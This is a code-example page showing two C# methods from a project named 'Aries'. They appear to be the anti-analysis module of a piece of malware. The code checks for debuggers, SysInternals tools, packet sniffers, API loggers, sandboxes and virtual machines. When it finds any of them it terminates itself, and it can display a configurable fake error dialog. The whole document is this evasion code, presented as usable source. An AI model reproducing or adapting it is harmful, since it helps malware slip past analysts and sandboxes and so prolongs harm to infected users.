예제 #1
0
파일: AntiFound.cs 프로젝트: EAXrec/Aries
 public AntiFound()
 {
     if (System.IO.File.Exists(Aries.Config.TemporaryFilesPath + Aries.Config.File))
     {
         Environment.Exit(-1);
     }
     switch (Config.Settings[1])
     {
         case "0":
             Environment.FailFast(new Random().Next(1, 1000).ToString());
             break;
         case "1":
             Util.AntiThread.Abort();//kill it so you won't end up with a hundred messageboxes
             //going across someones screen if they were afk & it keeps detecting something
             Config AntiConfig = new Config();
             System.Windows.Forms.MessageBox.Show(
                 AntiConfig.Anti(Config.AntiType.ErrorBody),
                 AntiConfig.Anti(Config.AntiType.ErrorTitle),
                 System.Windows.Forms.MessageBoxButtons.OK,
                 new Config.Settings_().GetIcon);
             Environment.Exit(-1);
             break;
         case "2":
             Environment.Exit(-1);
             break;
         default:
             Environment.Exit(-1);
             break;
     }
 }
예제 #2
0
        public void Process()
        {
            Config config = new Config();

            new CheckDebugger();
            CheckProcess proc = new CheckProcess();
            if (Convert.ToBoolean(config.SafeAnti(Config.SafeAntiType.AntiSysInternals))) { new SysInternals(); }

            if (proc.IsProcessRunning("api_logger") || proc.IsProcessRunning("api_logger") || Util.GetModuleHandle("api_log.dll").ToInt32() != 0 ||
                    proc.IsProcessRunning("proc_analyzer")) { Environment.FailFast(new Random().Next(5, 100).ToString()); }

            if (Convert.ToBoolean(config.SafeAnti(Config.SafeAntiType.AntiSniffDebug))) { new Sniffers(); }

            if (UseAnti(Type.AntiSandbox)) { new Sandbox(); }

            if (UseAnti(Type.AntiVirtual))
            {
                if (new Virtualized().IsVirtual())
                    new AntiFound();
            }

            if (UseAnti(Type.UseErrorMsg))
            {
                if (UseAnti(Type.ShowVirtualOnly))
                {
                    if (new Virtualized().IsVirtual())
                    {
                        Config AntiConfig = new Config();
                        System.Windows.Forms.MessageBox.Show(
                            AntiConfig.Anti(Config.AntiType.ErrorBody),
                            AntiConfig.Anti(Config.AntiType.ErrorTitle),
                            System.Windows.Forms.MessageBoxButtons.OK,
                            new Config.Settings_().GetIcon);
                    }
                }
                else
                {
                    Config AntiConfig = new Config();
                    System.Windows.Forms.MessageBox.Show(
                        AntiConfig.Anti(Config.AntiType.ErrorBody),
                        AntiConfig.Anti(Config.AntiType.ErrorTitle),
                        System.Windows.Forms.MessageBoxButtons.OK,
                        new Config.Settings_().GetIcon);
                }
            }
            Util.AntiCheckComplete = true;
            //System.GC.Collect();
        }